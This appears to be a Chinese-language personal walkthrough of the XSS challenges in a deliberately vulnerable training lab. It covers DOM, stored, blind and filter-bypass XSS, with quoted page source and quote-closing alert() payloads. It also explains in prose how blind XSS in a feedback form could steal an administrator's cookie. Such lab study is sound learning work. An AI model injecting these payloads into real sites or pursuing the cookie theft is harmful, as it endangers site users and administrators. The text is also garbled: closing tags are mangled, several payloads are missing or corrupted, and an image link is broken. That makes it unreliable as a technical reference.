直接
输入,input框长度不够可以在查看器里面修改
你可以先注册一个用户,然后在用户方的input框输入xss注入内容
针对于类似与留言板,评论区类的,可以使用存储型的xss进行注入
在 textarea 区域直接输入
DOM(文件对象模型):将脚本写进html文档内部,我自己的理解就是说我在输入框输入的内容不会返回给服务器,而是直接在前端js处理,直接用HTML.inner更改内容用的;
<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "what do you see? ";}
//试试:'>
//试试:' οnclick="alert('xss')">,闭合掉就行
script>
看下页面源代码就是说我们可以改‘str’处的值,eg:
javascript:alert(“hack”)
’ οnclick=“alert(‘xss’)”>
'>
说白了就是将他闭合,然后触发alert()事件
源代码:
<script>
function domxss(){
var str = window.location.search;
var txss = decodeURIComponent(str.split("text=")[1]);
var xss = txss.replace(/\+/g,' ');
// alert(xss);
document.getElementById("dom").innerHTML = "就让往事都随风,都随风吧";
}
//试试:'>
//试试:' οnclick="alert('xss')">,闭合掉就行
script>
<a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了a>
这道题的关键在于domxss()方法里面的innerHTML这段话,就是对xss进行注入,跟上一题一样;eg:
'>
’ οnclick=“alert(‘xss’)”>
javascript:alert(1)
在我看来这个一般用于客服反馈,就是说你在提交反馈信息时注入一个alert()到后台管理服务器中去,当后台管理员去打开反馈界面时我们注入的alert()就会弹出,然后一旦管理员点击了alert(),我们就可以获取管理员的Cookie信息,然后就可以进一步获取相应权限
eg:
<div class="main-content" xmlns="http://www.w3.org/1999/html">
<div class="main-content-inner">
<div class="breadcrumbs ace-save-state" id="breadcrumbs">
<ul class="breadcrumb">
<li>
<i class="ace-icon fa fa-home home-icon">i>
<a href="../xss.php">xssa>
li>
<li class="active">xss盲打li>
ul>
<a href="#" style="float:right" data-container="body" data-toggle="popover" data-placement="bottom" title="tips(再点一下关闭)"
data-content="登录后台,看会发生啥?后台登录地址是/xssblind/admin_login.php">
点一下提示~
a>
div>
<div class="page-content">
<div id="xss_blind">
<p class="blindxss_tip">请在下面输入你对"锅盖头"这种发型的看法:p>
<p class="blindxss_tip">我们将会随机抽出一名送出麻港一日游p>
<form method="post">
<textarea class="content" name="content">textarea><br />
<label>你的大名:label><br />
<input class="name" type="text" name="name"/><br />
<input type="submit" name="submit" value="提交" />
form>
div>
div>
div>
div>
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cEWlKT6E-1665425026912)(C:\Users\Mark\AppData\Roaming\Typora\typora-user-images\image-20220507010242106.png)]
在文本框里输入 进行注入
直接用大小写替换,毕竟html兼容性比较强,可以用大小写转换来绕过过滤
eg:
htmlspecialchars()这个方法主要是应对html特殊字符的,但不对‘单引号做处理,所以你就明白了吧,嘿嘿嘿。
所以我们主要对中的text修改,进行提前闭合函数等方法完成alert()
<div class="page-content">
<div id="xssr_main">
<p class="xssr_title">人生之所有苦短,是因为你的xss学习的还不够好p>
<form method="get">
<input class="xssr_in" type="text" name="message" />
<input class="xssr_submit" type="submit" name="submit" value="submit" />
form>
<p class='notice'>你的输入已经被记录:p><a href='οnclick=’alert(1)‘'>οnclick=’alert(1)‘a> div>
div>
javascript:alert(hack)
这道题没看源代码我做不出来,看着源代码就知道我们要改的时message值,所以在 < a href=‘…’ javascript:alert(“hack”)>
先分析:
<script>
$ms='asd';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
</script>
有这个我们就可以看出来,我们输入input的文本框中的值反馈到了$ms变量,所以通过修改ms值来alert()一个弹框。
我写的是复杂了点
'
你可以放进去看看,就知道了,看这个图
<script> $ms=''script>
<script>alert("hack")script>
<script>$a='';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
script>